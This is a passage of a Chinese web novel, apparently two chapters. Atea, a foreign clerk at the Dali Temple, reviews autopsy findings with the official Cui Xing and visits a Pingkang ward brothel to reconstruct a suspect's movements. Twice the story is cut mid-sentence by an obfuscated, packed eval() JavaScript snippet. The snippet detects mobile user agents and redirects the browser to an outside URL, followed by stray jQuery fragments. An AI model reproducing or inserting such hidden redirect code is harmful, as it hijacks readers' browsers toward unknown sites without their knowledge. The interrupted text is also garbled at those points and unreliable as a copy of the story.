阿茶翻开仔细看了来起来,死亡这的七人,共五男两女。其中年纪最长者,五十有三,男,死因为压迫导致的窒息;经确认其身份为崇贤坊卖花小贩马大;
其二,女,约莫六七岁,死因为头颅后脑枕骨严重磕伤所导致的脑死亡;经确认其身份为著作郎王显的幼女王五娘;
其三,女,年约二十六七,死因同样为压迫导致的窒息;身份暂未确定;
其四、其五,男,死因同样是窒息;身份为怀贞坊修面店店主孙二;寄居青龙寺的军器监主簿周阗;长寿坊吴王别院管事李三。
其六稍微有些许不一样,同样是男性,年约二十六七,身份一栏上写着,京兆府衙役冯标,死因为,溺毙。
阿茶心脏有一瞬的刺痛,年纪轻轻,本有着大好的前程。“大人……这是……是因为前日夜里有会水的想从渠里逃生?”
阿茶记得崇贤坊旁是永安渠,渠上有座桥,好像叫长寿桥来着,不免有些唏嘘,明明叫长寿桥,他却死在了桥下。
崔行瞟了一眼,知道她是看到了冯标的死因,“你说的没错,京兆府本就有护卫一职,救人是他的职责所在。冯标是在救了五六人后,力竭而死。你……”
许是看见了阿茶的神伤,崔行语气柔和了几分,“你不要太过伤心,这种事……难免不会遇到。你大可放心,自太宗皇帝始,因公殉职的官员死后的抚恤要比前朝好很多,他们一家人今后都将不愁吃穿,其幼子长大后也能直接去京兆府。”
“真好啊,长安真好,真的很好。”阿茶轻轻呢喃道。
阿茶知道他本不需要同她将这么多的,但还是很感谢他。她见过了太多生死,总以为已经麻木,实则每次见到那抬回去的一具具尸体,她都要缓很久,那些都是她敬爱的叔伯,他们给她带过蜜糖、锦缎和数不清的宠爱。
若是他们的死也能和冯标一样,不但能得到嘉奖,有足够的抚恤全家不愁,还能成为百姓口中的英雄该多好。
其七就是马车后那位了,男性,身份不详,年约二十七八,死因为锐器刺中心脏。
“这锐器,怎么感觉像是发簪。但是你们中原女子的发簪没有这么长,倒像是西域有一叫休循的小国,那里的女性会佩戴如此长的金簪。不过,但就这一击毙命来说,凶手很大概率懂一些医,或者会武。”
“哦?为何你会有这等猜测?可有依据?休循?这个国家我倒是了解得不多。”崔行不解的问道。
阿茶四处看了看,从角落
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14721336|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
里搬出一副满是灰尘的人体骨架,“你看啊,人的心脏是被肋骨包住的,”说着又给骨架披上一件破旧袍子,拿起一旁剖尸的小刀猛地刺入,“你瞧,若是不了解的就很容易被卡住。”
说完松开双手,小刀稳稳的卡在肋骨中间,“我已经算懂一些了,但在只有一层袍子的情况下,还是容易被卡住。”
崔行用力拔下那柄刀,被阿茶的狠劲折服,心想‘看着柔柔弱弱的,行事毫不拖泥带水,就是性格太过激进了些,为人师长责任重大啊。’
肋骨处果不其然有几道不轻的划痕,崔行接着说:“但你也说了,凶器可能是女子佩戴的发簪,发簪你应该比我了解,应是能轻易穿过肋骨直达心脏的吧。”
见他还是不信,阿茶也不恼,继续说道,“大人,我且问你,这验尸记录上可有说在死者肋骨上发现伤痕;心脏处可有同一伤痕,多次刺中的痕迹?”
“并无,这些都要刨验后才能看出。单凭这些你就能推断凶手学过医亦或是会武?”
“也不全是,这上面说了死者全身除了打斗导致的擦伤,另还有十七八道大小不一的伤痕,或是砍伤,或是划伤,还有几处是刺伤。”
“虽都是身前所致,但造成砍伤的人多半与另几处伤不是同一人所为,同样是匕首造成的伤痕,但力度、方法都不一样。划伤和刺伤不必多说,一看就是对方因为自卫留下的。”
“造成砍伤的人就不一样了,虽是在模仿刺伤的痕迹,但每一刀都像是在泄愤,却刀刀都没造成致命伤,嫌犯显然也懂一些律法,想靠此逃脱。”
崔行一手支着下颌,一手轻点桌案,似是在思考阿茶所说的真实性。
与此同时,阿茶也在想该怎么证明她说的是真的呢,“我有个想法,只是需要一经验老道的仵作配合。”
崔行抬眼,锐利的眸子看过来,“说说看。”
“若那几道伤口真是多人所为,那必定会相隔一段时间。若真是一击毙命,那模仿刺伤的砍伤那人才是凶手,这就与我之前的推辞大相径庭了。只有一个可能,那时人应该只是重伤昏迷。”
“跟我来。”
崔行带着阿茶进了一旁的房间,这里温度比外间稍微好些,看着像是个办公休息二合一的地方。
次间走出一老人,虽满头华发,却依旧神采奕奕,身材不算高大,但身处寒冰地窖般的停尸间却依旧穿了一身夏日短打。裸露出的皮肤刚劲有力,半分看不出这是一六旬老人。
“五叔,这是右少卿……特聘的文书,康居国人,名唤阿茶。阿茶,这位便是大理寺的仵作——伊娄五,别看五叔虽已年长,但验尸技术在长安难逢敌手,你的设想大可说与五叔听听。”
姓伊娄?阿茶诧异的盯着眼前的老人,心想‘原来是鲜卑后裔,长相倒是不怎么能看出来了,前朝改革的成果如今看来倒是颇丰嘛。’
“阿茶见过伊娄仵作。”
不过瞧着崔行对这位老人礼貌有加的样子,阿茶就知道这人的真本事怕是比崔行说的还要强,笑眯眯的对着伊娄五行了个康居礼。
然而在她看不见的地方,伊娄五正与崔行在打眼仗。伊娄五微不可查的瞟了阿茶一眼,疑惑的望向崔行,崔行赫然,眼下又不能解释,只能微微摇头,示意他等会儿再说。
伊娄五眼神中写满了‘你小子待会儿可得给老夫好好解释解释’,转头和蔼的对着阿茶说道,“阿茶姑娘不必客气,既入了大理寺,便都是一家人,往后若是有需要,可直接来此处找我便是。”
“不知崔……大人和阿茶姑娘来此意欲何为?”
崔行将阿茶的设想说与伊娄五,“阿茶的意思是,这些伤痕恐有先后,且不是一人所为,不知五叔可能看出这些伤的先后顺序?”
伊娄五满意的看了阿茶一眼,说道,“可以是可以,只不过眼下已经过去了两日,恐要多费些时日,两位大人若是不急,可在此处稍等片刻。”
“可,”崔行正准备应下伊娄五的话,转头看到双手抱胸,努力将自己缩成一团又不失体面的阿茶,话锋一转,“还是不了,我还有要事,劳烦五叔验完了差人送去我到厅堂便是。”
崔行悄悄踱步到阿茶身旁,掐了个响指,“还看,走了。”
“这就走了?不等伊娄仵作验完?”
在崔行凛冽的目光下,阿茶有眼力见的闭嘴,跟着他走出地牢。当正午的阳光洒在身上,阿茶才感觉那股冷意缓缓撤出身体,她想她还是更喜欢大漠的燥热。
走了几步,崔行突兀的声音从前方传来,“天凉了,以后上值要多穿一些,下次若是要去五叔那,记得提前备好一件外袍。”
“啊?哦,好的,多谢大人。”
原来他不留在停尸间等结果出来是因为她,阿茶觉得更暖了,难道是正午的阳光太烈了?
一刻钟后,眼前越走越偏,阿茶忍不住问道,“大人,我们这又是去那啊?这是……要出衙门?”
15. 第 15 章
平康坊入北门东回有三曲,称南曲、中曲、北曲,娼妓聚集之地,乃是长安城有名的红灯区。
马车刚行入北门,阿茶就趁崔行不注意悄悄掀开了车窗露出一角,趴在窗框往外看。
来长安这一路,商队中不乏来自五湖四海走南闯北的汉子,聊起来可谓是,百无禁忌。阿茶听了一路的平康坊,今日终于得见真容。
平康坊地理位置极好,紧挨着皇城和东市,若是按阿爷的话来说,应该被称作二环,那可是有钱也买不到的地界。极佳的位置自然也有不少达官贵族住在坊内,但阿茶偏偏想的是,‘这可是大名鼎鼎的平康坊哎,不知道能不能看见……’
“坊与坊不都一个样子,这有什么好看的。”
阿茶正看的起劲,刚刚她看见一个身材矮小的年轻男子背着一个妩媚娇憨的娘子穿过街道,那位娘子还跟阿茶挥帕子来着,阿茶刚想回应,崔行的声音恰在此时突兀地出现。
依依不舍的看着娇憨娘子走远,崔行的声音又在身侧想起,“说出去也是官身,可仔细瞧瞧你脚下的马车吧,看看大理寺三个字是不是不够大。”
“哎哟,哪呢,下官还真没看见呢,大人您不会睡糊涂了吧。再说了,长得好看的人谁不喜欢,可别说你就喜欢那等貌丑无颜的……大人我错了。”
崔行这人毒舌惯了,偏偏阿茶又是一个经不起激的,惹到了恨不得扒掉你一层皮。恰好她又是个极会审时度势的,或许就是如此矛盾的两种性格才造就了今日的阿茶。
崔行脸色黑的能糊墙,她认错态度绝不会晚一秒。窗框没了那只纤纤细手的支撑,啪的一声,掉下来,砸在窗沿上。
见他还一副气急的模样,阿茶不由得心虚,又多解释了几句,“那什么,好,好奇嘛,大漠的女子都是坚韧的杂草,哪像你们中原女子,人人都是娇花一般,瞧着多赏心悦目啊。”
“大人您真的不喜欢长的漂亮的吗,不过也是,你就长的够好看的了,别人不都被比下去了,谁还敢站在你身边呀。”
“你,算了,红颜终有老去的一日,到头来也不过是一具枯骨,与人相交最重要的难道不应是品性吗。”崔行进士出身,本能引经据典说出一大段话来辩驳,看到阿茶清澈中还透着傻气的双眼,决定不说了。西域就这风俗,圣人治国也没有说非要搞什么民族融合不是。
“要看就大大方方的看,你说的对,人都有爱美的权利。想来你这张脸一出,说不定大理寺的名声也不会受损太过。”
阿茶眼神纷飞,上下打量了一眼他,心想,‘是吗?难道不是传出大理寺少卿的艳闻吗。’
“多谢大人,大人您真好。”
快速地说了几个字,阿茶立马将窗子开到最大,生怕崔行反悔似的。
“哎哟。”
一团墨绿色的锦缎砸向阿茶手臂,落在她的袍子上。崔行睁开眼睛,瞥了一眼,胸膛处有明显的起伏,冷哼一声,“康书吏这张脸还真没白长,这么会儿功夫,就能当街接到香囊,也不知是那家儿郎,只怕是要令他失望了。”
见阿茶不但没理他,还兴致勃勃的研究起了那个所谓的香囊,崔行忍不住又呛了她一句,“怎的,这么多年康书吏不会没收到过香囊吧,那是得好好珍藏,回去了可一定要供奉在祖宗牌位旁。”
阿茶抖了抖皱巴巴的锦缎,不像是香囊倒像是钱袋子,不过绣工不错。拆开一看,好家伙,只有几个铜钱和一把石子,另有一张纸条。
“崔大人说的很对,下官确实没收到过香囊,尤其是这么鼓囊的。”
将铜钱留下,石子丢出去,纸条撕碎,丢进风中。至于香囊,也一并留下,阿月最近对刺绣生了兴趣,正好可以给她研究研究。
刚收好香囊,崔行那暗讽的语气又从耳畔传来,“不打开看看就扬了,一片芳心,付之东流啊。”
“啊,我知道了,”阿茶故作惊讶,又停留半晌,非得等崔行看过来后才继续说道,“原来这就叫嫉妒吧,大人是不是没人给您送啊,早说嘛,您若是想要,让他也给你一张好了。”
“……”
崔行扭头闭眼,阿茶的世界终于安静了。
“吁~大人,康书吏,到地方了。”
马车停在了一处略显寒酸的门前,“天香楼?看着可不衬……”
阿茶面露嫌弃,这跟她想象中的青楼没有半分相似之处,不应该灯火通明,富丽堂皇吗。
“康书吏有所不知,此处啊,算是下等。”送我们来的衙役以手负面,眯着双眼解释道。
“哦?是吗。三曲内还分得这么细呀,多谢小哥告知,还不知小哥贵姓。”
“康书吏客气了,在下姓袁家中行二。这南曲和中曲的大家啊,那是有钱都难得见上一面;至于北曲,既没有南曲的曲也没有中曲的解语花,自然被二曲所不耻,但其实也别有一番滋味,康书吏是胡人吧,北曲中的胡旋那可是二曲学都学不会的。”
“是吗,这么说北曲出名的是舞咯,袁二哥这么了解,定是知道要来平康坊提前做足了功课吧!”
“聊挺开心的嘛,要不要给你们搭个台子啊。”聊得正开心的二人被崔行泛冷的声线打断。看也不看阿茶,勾着嘴角对袁二说道,“我记得你家娘子凶悍,素来有河东狮之名,这北曲你倒是知道的还不少嘛。”
袁二惧内在大理寺并不是什么秘密,也就阿茶刚来还不知情。袁二讪讪笑了几声,一边观察崔行的神色一边解释道,“大人,这,属下,属下也都是听说,听说,没来过,一次都没来过。属下这就去扣门!”
进门前阿茶觉得崔行有点莫名其妙,他瞪了阿茶一眼。阿茶摸了摸鼻子,心想,‘又触他眉头了?’
“大人,康书吏,你们怎么来了。”刚走进一楼中堂,胡四收到消息,从内间迎出来,脸上还带着笑,一副收获颇丰的神色。
“这天香楼郑棋果真来过,而且他还算是常客。近三月来,每次来都只要一名叫李巧儿的花娘作陪。”
行到内堂时阿茶已经弄清了这李巧儿与郑棋之间的种种过往,这李巧儿原是凉州武威人,家中世代务农,至他父母这辈。其父偶然结实了个香料贩子,也开始做起了香料生意,但奈何差点运气,一直未有较大成就,好歹也算是吃穿不愁。
直到前几年她父母去关外购买香料的途中,遭遇动乱,不幸死在了关外。年少无依的李巧儿又被舅母卖进青楼,因长相貌美,几番辗转,最终流落长安。
这李巧儿的长相在整个三曲都是能名列前茅的,但奈何空有长相,既不懂诗词,又五音不全,堪堪学了几支舞,这才在北曲站稳脚跟。
天香楼也正是因为有她,才坐稳了北曲的头把交椅。人一旦运气好起来,那是挡也挡不住,这不天香楼去年又来了一胡女,胡璇舞的极好。这不天香楼居然隐隐有凌驾南曲一头的势头了。
郑棋是平康坊的常客,李巧儿的名头传开后,郑棋第一时间去了天香楼,理所当然的成了李巧儿在长安的第一个入幕之宾。
“郑棋是八月十三那日临近宵禁时分来的,楼里的婢女说他只待了一日,十四夜间便离开了。听楼里的妈妈说,这郑棋往日里一来没有大多要住
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779244|156577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上十天半月,非得等郑府来人请,才会跟着回去。”
“另有一件事,属下不知算不算得上疑点,郑棋走时,像是喝了很多,不但袍子皱皱巴巴随意披在身上,就连发髻也散了。”
穿过游廊走进内堂,天香楼虽名为楼,却是个三进的院子,因地方不大,故而主院是个三层的小楼。
“可有人能确定那就是郑棋本人。”崔行站在一楼空旷的大厅,抬眼看着四周的布局,接着说道,“可有查到郑棋出府之后去了何处?来楼里后可有何异常?”
胡四摇摇头,“似是不能确定,虽有好几人的口供都说那就是郑棋本人,但却没有一人见到了他的脸。”
“八月十三那日,郑棋是午后出的府,先是去了东市中三巷的黑赌坊,输了大半随身携带的银铤。出了赌坊,又偶遇一同窗好友,约着一起去了亲仁坊的明月酒坊,一直喝到月上枝头。”
那同窗好友戌初时分被家中小厮接走,郑棋则在酒坊又坐了小半个时辰,直到酒坊的小厮说要到宵禁时分了,委婉请他离开,郑棋这才骂骂咧咧的出了酒坊,据酒坊小厮说,他走时还砸碎了好几个坛新酒。
赶在宵禁前郑棋闯了平康坊的坊门,继而跌跌撞撞闯走向天香楼,一进来就嚷嚷着要巧儿来伺候他。
“郑郎君来了,不知您今日要来,巧儿现下不在楼里,让珍娘来伺候您可好?”天香楼掌事秦妈妈笑着上前亲自为郑棋斟酒,好声好气的哄着。
郑棋半分情面不将,一把将秦妈妈掀翻在地,“珍娘如何比得上巧儿,若不是因为巧儿不得不委屈自己呆在此处,你以为本公子会来你这下等腌臜之地!如今就连你也能骑在本公子头上作威作福了不成,老子就要巧儿,不在就去寻,老子今天非得要见她不可!”
“这,这……”
“还不快去,愣着作甚!今日本公子若是见不到巧儿,明日你这天香楼也就不必开下去了!”
秦妈妈一脸为难的退出雅间,下楼时遇到了从外面回到楼里的苏合。
“妈妈怎的一脸为难,可是遇到难事。”
听秦妈妈说完来龙去脉,苏合按住秦妈妈的手,一脸宽慰的说:“巧儿难得有次能进国公府的机会,若是在宴席上叫那个王公贵族看上,楼里其他姐妹也能好过一些,我去吧。”
秦妈妈听到苏合的主动提出前往,心中大喜,但转念一想,又怕那惹到那个祖宗,到时候想要收场可就难了。
正为难着,苏合又缓缓开口,她的声音温软,好似有种能让人安静下来的魔力,“妈妈可是在担心会害了楼里,可那陈国公府也不是好惹的,不如就让我去试试吧。妈妈行行好,苏合必会哄好郑公子的,妈妈还信不过我不成?”
秦妈妈两相评估了一番,最终同意了苏合的提议。假惺惺的说了句,“只是可苦了你了,白日里出去了好半晌,这才回来,本可以好好休息的。”
“不妨事的,巧儿和我本就交好,再说了,今后苏合还得仰仗妈妈的照拂呢,为妈妈排忧解难难道不是应该的。”
半刻钟后,苏合换了身衣裳,又端了一壶好酒,推开了郑棋所在的雅间。直到第二日清晨才带着一身疲惫出了雅间。
李巧儿回到天香楼时是第二日辰时,刚一回房,交好的姐妹告诉了她昨夜的变故,顿时大吃一惊,她是知道郑棋有多难伺候的,急忙赶到苏合的住处,见她已然睡下,掀起她的领口和袖子小心看了看,又换上了自己常用的香薰。
不消多时,郑棋醒来又吵闹着要巧儿伺候,直到这日戌时末,两人一直都待在雅间未出过房门半步。